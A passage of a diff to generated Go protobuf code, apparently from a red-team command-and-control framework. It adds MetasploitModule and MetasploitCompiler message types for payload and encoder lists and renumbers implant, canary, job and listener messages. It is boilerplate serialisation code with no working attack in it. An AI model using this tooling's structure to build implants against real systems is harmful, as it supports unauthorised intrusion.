file_clientpb_client_proto_rawDescGZIP(), []int{22} } func (x *ImplantBuild) GetID() string { @@ -3133,7 +3505,7 @@ type CompilerTarget struct { func (x *CompilerTarget) Reset() { *x = CompilerTarget{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3146,7 +3518,7 @@ func (x *CompilerTarget) String() string { func (*CompilerTarget) ProtoMessage() {} func (x *CompilerTarget) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3159,7 +3531,7 @@ func (x *CompilerTarget) ProtoReflect() protoreflect.Message { // Deprecated: Use CompilerTarget.ProtoReflect.Descriptor instead. func (*CompilerTarget) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{18} + return file_clientpb_client_proto_rawDescGZIP(), []int{23} } func (x *CompilerTarget) GetGOOS() string { @@ -3197,7 +3569,7 @@ type CrossCompiler struct { func (x *CrossCompiler) Reset() { *x = CrossCompiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3210,7 +3582,7 @@ func (x *CrossCompiler) String() string { func (*CrossCompiler) ProtoMessage() {} func (x *CrossCompiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3223,66 +3595,216 @@ func (x *CrossCompiler) ProtoReflect() protoreflect.Message { // Deprecated: Use CrossCompiler.ProtoReflect.Descriptor instead. func (*CrossCompiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{19} + return file_clientpb_client_proto_rawDescGZIP(), []int{24} +} + +func (x *CrossCompiler) GetTargetGOOS() string { + if x != nil { + return x.TargetGOOS + } + return "" +} + +func (x *CrossCompiler) GetTargetGOARCH() string { + if x != nil { + return x.TargetGOARCH + } + return "" +} + +func (x *CrossCompiler) GetCCPath() string { + if x != nil { + return x.CCPath + } + return "" +} + +func (x *CrossCompiler) GetCXXPath() string { + if x != nil { + return x.CXXPath + } + return "" +} + +type Compiler struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"` // The server's OS + GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"` // The server's Arch + Targets []*CompilerTarget `protobuf:"bytes,3,rep,name=Targets,proto3" json:"Targets,omitempty"` + CrossCompilers []*CrossCompiler `protobuf:"bytes,4,rep,name=CrossCompilers,proto3" json:"CrossCompilers,omitempty"` + UnsupportedTargets []*CompilerTarget `protobuf:"bytes,5,rep,name=UnsupportedTargets,proto3" json:"UnsupportedTargets,omitempty"` +} + +func (x *Compiler) Reset() { + *x = Compiler{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[25] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Compiler) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Compiler) ProtoMessage() {} + +func (x *Compiler) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[25] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use Compiler.ProtoReflect.Descriptor instead. +func (*Compiler) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{25} +} + +func (x *Compiler) GetGOOS() string { + if x != nil { + return x.GOOS + } + return "" +} + +func (x *Compiler) GetGOARCH() string { + if x != nil { + return x.GOARCH + } + return "" +} + +func (x *Compiler) GetTargets() []*CompilerTarget { + if x != nil { + return x.Targets + } + return nil +} + +func (x *Compiler) GetCrossCompilers() []*CrossCompiler { + if x != nil { + return x.CrossCompilers + } + return nil +} + +func (x *Compiler) GetUnsupportedTargets() []*CompilerTarget { + if x != nil { + return x.UnsupportedTargets + } + return nil +} + +type MetasploitModule struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + FullName string `protobuf:"bytes,2,opt,name=FullName,proto3" json:"FullName,omitempty"` + Description string `protobuf:"bytes,3,opt,name=Description,proto3" json:"Description,omitempty"` + Quality string `protobuf:"bytes,4,opt,name=Quality,proto3" json:"Quality,omitempty"` +} + +func (x *MetasploitModule) Reset() { + *x = MetasploitModule{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[26] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *MetasploitModule) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MetasploitModule) ProtoMessage() {} + +func (x *MetasploitModule) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[26] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MetasploitModule.ProtoReflect.Descriptor instead. +func (*MetasploitModule) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{26} } -func (x *CrossCompiler) GetTargetGOOS() string { +func (x *MetasploitModule) GetName() string { if x != nil { - return x.TargetGOOS + return x.Name } return "" } -func (x *CrossCompiler) GetTargetGOARCH() string { +func (x *MetasploitModule) GetFullName() string { if x != nil { - return x.TargetGOARCH + return x.FullName } return "" } -func (x *CrossCompiler) GetCCPath() string { +func (x *MetasploitModule) GetDescription() string { if x != nil { - return x.CCPath + return x.Description } return "" } -func (x *CrossCompiler) GetCXXPath() string { +func (x *MetasploitModule) GetQuality() string { if x != nil { - return x.CXXPath + return x.Quality } return "" } -type Compiler struct { +type MetasploitCompiler struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"` // The server's OS - GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"` // The server's Arch - Targets []*CompilerTarget `protobuf:"bytes,3,rep,name=Targets,proto3" json:"Targets,omitempty"` - CrossCompilers []*CrossCompiler `protobuf:"bytes,4,rep,name=CrossCompilers,proto3" json:"CrossCompilers,omitempty"` - UnsupportedTargets []*CompilerTarget `protobuf:"bytes,5,rep,name=UnsupportedTargets,proto3" json:"UnsupportedTargets,omitempty"` + Version string `protobuf:"bytes,1,opt,name=Version,proto3" json:"Version,omitempty"` + Formats []string `protobuf:"bytes,2,rep,name=Formats,proto3" json:"Formats,omitempty"` + Archs []string `protobuf:"bytes,3,rep,name=Archs,proto3" json:"Archs,omitempty"` + Encoders []*MetasploitModule `protobuf:"bytes,4,rep,name=Encoders,proto3" json:"Encoders,omitempty"` + Payloads []*MetasploitModule `protobuf:"bytes,5,rep,name=Payloads,proto3" json:"Payloads,omitempty"` } -func (x *Compiler) Reset() { - *x = Compiler{} +func (x *MetasploitCompiler) Reset() { + *x = MetasploitCompiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[20] + mi := &file_clientpb_client_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *Compiler) String() string { +func (x *MetasploitCompiler) String() string { return protoimpl.X.MessageStringOf(x) } -func (*Compiler) ProtoMessage() {} +func (*MetasploitCompiler) ProtoMessage() {} -func (x *Compiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[20] +func (x *MetasploitCompiler) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3293,42 +3815,42 @@ func (x *Compiler) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use Compiler.ProtoReflect.Descriptor instead. -func (*Compiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{20} +// Deprecated: Use MetasploitCompiler.ProtoReflect.Descriptor instead. +func (*MetasploitCompiler) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{27} } -func (x *Compiler) GetGOOS() string { +func (x *MetasploitCompiler) GetVersion() string { if x != nil { - return x.GOOS + return x.Version } return "" } -func (x *Compiler) GetGOARCH() string { +func (x *MetasploitCompiler) GetFormats() []string { if x != nil { - return x.GOARCH + return x.Formats } - return "" + return nil } -func (x *Compiler) GetTargets() []*CompilerTarget { +func (x *MetasploitCompiler) GetArchs() []string { if x != nil { - return x.Targets + return x.Archs } return nil } -func (x *Compiler) GetCrossCompilers() []*CrossCompiler { +func (x *MetasploitCompiler) GetEncoders() []*MetasploitModule { if x != nil { - return x.CrossCompilers + return x.Encoders } return nil } -func (x *Compiler) GetUnsupportedTargets() []*CompilerTarget { +func (x *MetasploitCompiler) GetPayloads() []*MetasploitModule { if x != nil { - return x.UnsupportedTargets + return x.Payloads } return nil } @@ -3344,7 +3866,7 @@ type DeleteReq struct { func (x *DeleteReq) Reset() { *x = DeleteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3357,7 +3879,7 @@ func (x *DeleteReq) String() string { func (*DeleteReq) ProtoMessage() {} func (x *DeleteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3370,7 +3892,7 @@ func (x *DeleteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteReq.ProtoReflect.Descriptor instead. func (*DeleteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{21} + return file_clientpb_client_proto_rawDescGZIP(), []int{28} } func (x *DeleteReq) GetName() string { @@ -3398,7 +3920,7 @@ type DNSCanary struct { func (x *DNSCanary) Reset() { *x = DNSCanary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3411,7 +3933,7 @@ func (x *DNSCanary) String() string { func (*DNSCanary) ProtoMessage() {} func (x *DNSCanary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3424,7 +3946,7 @@ func (x *DNSCanary) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSCanary.ProtoReflect.Descriptor instead. func (*DNSCanary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{22} + return file_clientpb_client_proto_rawDescGZIP(), []int{29} } func (x *DNSCanary) GetID() string { @@ -3487,7 +4009,7 @@ type Canaries struct { func (x *Canaries) Reset() { *x = Canaries{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3500,7 +4022,7 @@ func (x *Canaries) String() string { func (*Canaries) ProtoMessage() {} func (x *Canaries) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3513,7 +4035,7 @@ func (x *Canaries) ProtoReflect() protoreflect.Message { // Deprecated: Use Canaries.ProtoReflect.Descriptor instead. func (*Canaries) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{23} + return file_clientpb_client_proto_rawDescGZIP(), []int{30} } func (x *Canaries) GetCanaries() []*DNSCanary { @@ -3535,7 +4057,7 @@ type UniqueWGIP struct { func (x *UniqueWGIP) Reset() { *x = UniqueWGIP{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3548,7 +4070,7 @@ func (x *UniqueWGIP) String() string { func (*UniqueWGIP) ProtoMessage() {} func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3561,7 +4083,7 @@ func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { // Deprecated: Use UniqueWGIP.ProtoReflect.Descriptor instead. func (*UniqueWGIP) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{24} + return file_clientpb_client_proto_rawDescGZIP(), []int{31} } func (x *UniqueWGIP) GetIP() string { @@ -3584,7 +4106,7 @@ type ImplantProfile struct { func (x *ImplantProfile) Reset() { *x = ImplantProfile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3597,7 +4119,7 @@ func (x *ImplantProfile) String() string { func (*ImplantProfile) ProtoMessage() {} func (x *ImplantProfile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3610,7 +4132,7 @@ func (x *ImplantProfile) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfile.ProtoReflect.Descriptor instead. func (*ImplantProfile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{25} + return file_clientpb_client_proto_rawDescGZIP(), []int{32} } func (x *ImplantProfile) GetID() string { @@ -3645,7 +4167,7 @@ type ImplantProfiles struct { func (x *ImplantProfiles) Reset() { *x = ImplantProfiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3658,7 +4180,7 @@ func (x *ImplantProfiles) String() string { func (*ImplantProfiles) ProtoMessage() {} func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3671,7 +4193,7 @@ func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfiles.ProtoReflect.Descriptor instead. func (*ImplantProfiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{26} + return file_clientpb_client_proto_rawDescGZIP(), []int{33} } func (x *ImplantProfiles) GetProfiles() []*ImplantProfile { @@ -3692,7 +4214,7 @@ type RegenerateReq struct { func (x *RegenerateReq) Reset() { *x = RegenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3705,7 +4227,7 @@ func (x *RegenerateReq) String() string { func (*RegenerateReq) ProtoMessage() {} func (x *RegenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3718,7 +4240,7 @@ func (x *RegenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RegenerateReq.ProtoReflect.Descriptor instead. func (*RegenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{27} + return file_clientpb_client_proto_rawDescGZIP(), []int{34} } func (x *RegenerateReq) GetImplantName() string { @@ -3745,7 +4267,7 @@ type Job struct { func (x *Job) Reset() { *x = Job{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3758,7 +4280,7 @@ func (x *Job) String() string { func (*Job) ProtoMessage() {} func (x *Job) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3771,7 +4293,7 @@ func (x *Job) ProtoReflect() protoreflect.Message { // Deprecated: Use Job.ProtoReflect.Descriptor instead. func (*Job) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{28} + return file_clientpb_client_proto_rawDescGZIP(), []int{35} } func (x *Job) GetID() uint32 { @@ -3834,7 +4356,7 @@ type Jobs struct { func (x *Jobs) Reset() { *x = Jobs{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3847,7 +4369,7 @@ func (x *Jobs) String() string { func (*Jobs) ProtoMessage() {} func (x *Jobs) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3860,7 +4382,7 @@ func (x *Jobs) ProtoReflect() protoreflect.Message { // Deprecated: Use Jobs.ProtoReflect.Descriptor instead. func (*Jobs) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{29} + return file_clientpb_client_proto_rawDescGZIP(), []int{36} } func (x *Jobs) GetActive() []*Job { @@ -3881,7 +4403,7 @@ type KillJobReq struct { func (x *KillJobReq) Reset() { *x = KillJobReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3894,7 +4416,7 @@ func (x *KillJobReq) String() string { func (*KillJobReq) ProtoMessage() {} func (x *KillJobReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[30] + mi := &file_clientpb_client_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3907,7 +4429,7 @@ func (x *KillJobReq) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJobReq.ProtoReflect.Descriptor instead. func (*KillJobReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{30} + return file_clientpb_client_proto_rawDescGZIP(), []int{37} } func (x *KillJobReq) GetID() uint32 { @@ -3928,7 +4450,7 @@ type RestartJobReq struct { func (x *RestartJobReq) Reset() { *x = RestartJobReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3941,7 +4463,7 @@ func (x *RestartJobReq) String() string { func (*RestartJobReq) ProtoMessage() {} func (x *RestartJobReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[31] + mi := &file_clientpb_client_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3954,7 +4476,7 @@ func (x *RestartJobReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RestartJobReq.ProtoReflect.Descriptor instead. func (*RestartJobReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{31} + return file_clientpb_client_proto_rawDescGZIP(), []int{38} } func (x *RestartJobReq) GetJobIDs() []uint32 { @@ -3976,7 +4498,7 @@ type KillJob struct { func (x *KillJob) Reset() { *x = KillJob{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3989,7 +4511,7 @@ func (x *KillJob) String() string { func (*KillJob) ProtoMessage() {} func (x *KillJob) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[32] + mi := &file_clientpb_client_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4002,7 +4524,7 @@ func (x *KillJob) ProtoReflect() protoreflect.Message { // Deprecated: Use KillJob.ProtoReflect.Descriptor instead. func (*KillJob) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{32} + return file_clientpb_client_proto_rawDescGZIP(), []int{39} } func (x *KillJob) GetID() uint32 { @@ -4038,7 +4560,7 @@ type ListenerJob struct { func (x *ListenerJob) Reset() { *x = ListenerJob{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4051,7 +4573,7 @@ func (x *ListenerJob) String() string { func (*ListenerJob) ProtoMessage() {} func (x *ListenerJob) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[33] + mi := &file_clientpb_client_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4064,7 +4586,7 @@ func (x *ListenerJob) ProtoReflect() protoreflect.Message { // Deprecated: Use ListenerJob.ProtoReflect.Descriptor instead. func (*ListenerJob) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{33} + return file_clientpb_client_proto_rawDescGZIP(), []int{40} } func (x *ListenerJob) GetID() string { @@ -4135,7 +4657,7 @@ type MultiplayerListenerReq struct { func (x *MultiplayerListenerReq) Reset() { *x = MultiplayerListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4148,7 +4670,7 @@ func (x *MultiplayerListenerReq) String() string { func (*MultiplayerListenerReq) ProtoMessage() {} func (x *MultiplayerListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[34] + mi := &file_clientpb_client_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4161,7 +4683,7 @@ func (x *MultiplayerListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MultiplayerListenerReq.ProtoReflect.Descriptor instead. func (*MultiplayerListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{34} + return file_clientpb_client_proto_rawDescGZIP(), []int{41} } func (x *MultiplayerListenerReq) GetHost() string { @@ -4190,7 +4712,7 @@ type MTLSListenerReq struct { func (x *MTLSListenerReq) Reset() { *x = MTLSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4203,7 +4725,7 @@ func (x *MTLSListenerReq) String() string { func (*MTLSListenerReq) ProtoMessage() {} func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[35] + mi := &file_clientpb_client_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4216,7 +4738,7 @@ func (x *MTLSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSListenerReq.ProtoReflect.Descriptor instead. func (*MTLSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{35} + return file_clientpb_client_proto_rawDescGZIP(), []int{42} } func (x *MTLSListenerReq) GetHost() string { @@ -4248,7 +4770,7 @@ type WGListenerReq struct { func (x *WGListenerReq) Reset() { *x = WGListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4261,7 +4783,7 @@ func (x *WGListenerReq) String() string { func (*WGListenerReq) ProtoMessage() {} func (x *WGListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[36] + mi := &file_clientpb_client_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4274,7 +4796,7 @@ func (x *WGListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use WGListenerReq.ProtoReflect.Descriptor instead. func (*WGListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{36} + return file_clientpb_client_proto_rawDescGZIP(), []int{43} } func (x *WGListenerReq) GetHost() string { @@ -4327,7 +4849,7 @@ type DNSListenerReq struct { func (x *DNSListenerReq) Reset() { *x = DNSListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4340,7 +4862,7 @@ func (x *DNSListenerReq) String() string { func (*DNSListenerReq) ProtoMessage() {} func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[37] + mi := &file_clientpb_client_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4353,7 +4875,7 @@ func (x *DNSListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSListenerReq.ProtoReflect.Descriptor instead. func (*DNSListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{37} + return file_clientpb_client_proto_rawDescGZIP(), []int{44} } func (x *DNSListenerReq) GetDomains() []string { @@ -4413,7 +4935,7 @@ type HTTPListenerReq struct { func (x *HTTPListenerReq) Reset() { *x = HTTPListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := &file_clientpb_client_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4426,7 +4948,7 @@ func (x *HTTPListenerReq) String() string { func (*HTTPListenerReq) ProtoMessage() {} func (x *HTTPListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[38] + mi := 